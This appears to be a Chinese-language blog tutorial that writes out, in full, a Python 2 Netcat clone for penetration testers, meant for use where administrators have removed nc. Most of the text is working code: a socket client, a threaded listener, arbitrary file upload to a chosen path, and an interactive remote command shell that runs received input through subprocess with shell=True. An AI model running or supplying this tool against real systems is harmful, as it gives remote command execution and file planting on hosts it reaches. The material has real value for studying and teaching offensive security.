Python实现Netcat(文件上传 反弹shell)
[Python]
在网络工具中有“瑞士军刀”美誉的NetCat和nc命令, 每个渗透人员的必修课,简单实用的功能用了N年仍爱不释手。 在渗透测试中,往往聪明的系统管理员都会从系统中移除nc。在这种情况下需要创建一个简单的客户端和服务器用来传递文件,或者执行命令。
功能
同时具备服务端和客户端功能 命令执行 文件传输
Xyntax Netcat Tool
usage: Netcat.py [-h] [-l] [-e EXECUTE] [-c] [-u UPLOAD] target port
positional arguments:
target target host IP
port target host Port
optional arguments:
-h, --help show this help message and exit
-l, --listen listen on [host]:[port] for incoming connections
-e EXECUTE, --execute EXECUTE
execute the given file upon receiving a connection
-c, --command initialize a command shell
-u UPLOAD, --upload UPLOAD
upon receiving connection upload a file and write to
[destination]
代码解析
导入包 声明变量
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import sys
import socket
import threading
import subprocess
import argparse
__author__ = 'xy'
# global vars
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0
获取用户输入
def parse_args():
parser = argparse.ArgumentParser()
# 可选项 不需要赋值 存储为bool
parser.add_argument(
"-l",
"--listen",
help="listen on [host]:[port] for incoming connections",
action='store_true'
)
# 可选项 需要赋值 存储为string
parser.add_argument(
"-e",
"--execute",
help="execute the given file upon receiving a connection"
)
parser.add_argument(
"-c",
"--command",
help="initialize a command shell",
action='store_true'
)
parser.add_argument(
"-u",
"--upload",
help="upon receiving connection upload a file and write to [destination]"
)
# 必需项 需要赋值
parser.add_argument(
"target",
help="target host IP"
)
parser.add_argument(
"port",
help="target host port"
)
return parser.parse_args()
主函数
- 变量声明、读取用户输入。
- 如果是客户端,则读取用户命令后调用client_sender()函数发送命令到服务端,并接收服务端的返回数据。
- 如果是服务端,则进入监听 server_loop()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
print('Xyntax Netcat Tool')
args = parse_args()
if args.listen:
listen = True
if args.command:
command = True
if args.execute:
execute = args.execute
if args.upload:
upload_destination = args.upload
target = args.target
port = int(args.port)
if not listen and len(target) and port > 0:
# 从命令行读取数据
# 这里将阻塞 所以不向标准输入发送数据时发送ctrl-d
buffer = sys.stdin.read()
# 发送数据
client_sender(buffer)
# 开始监听并准备上传文件、执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
if listen:
server_loop()
客户端函数
创建一个socket对象,连接主机端口,与主机进行通信。
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接目标主机
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
# 现在等待数据回传
recv_len = 1
response = ''
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response, )
# 等待更多输入
buffer = raw_input("")
buffer += '\n\n'
# 发送出去
client.send(buffer)
except:
print("[*] Exception! Exiting.")
client.close()
服务端函数
这里使用threading处理连接,使用subprocess执行命令
def server_loop():
global target
# 如果没有定义目标 那么我们监听端口
if not len(target):
target = '0.0.0.0'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def run_command(command):
# 换行
command = command.rstrip()
# 运行命令并将输出返回
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = 'Failed to execute command.\r\n'
# 将输出发送
return output
def client_handler(client_socket):
global upload
global execute
global command
# 检测上传文件
if len(upload_destination):
# 读取所有的字符并写下目标
file_buffer = ''
# 持续读取数量直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination, 'wb')
file_descriptor.write(file_buffer)
file_descriptor.close()
# 确认文件已经写出来
client_socket.send('Successfully saved file to %s\r\n' % upload_destination)
except:
client_socket.send('Failed to save file to %s\r\n' % upload_destination)
# 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令行shell,那么我们进入另一个循环
if command:
while True:
# 跳出一个窗口
client_socket.send('<xy:#> ')
# 现在我们接收文件直到发现换行符(enter key)
cmd_buffer = ''
while '\n' not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# 返还命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response)
运行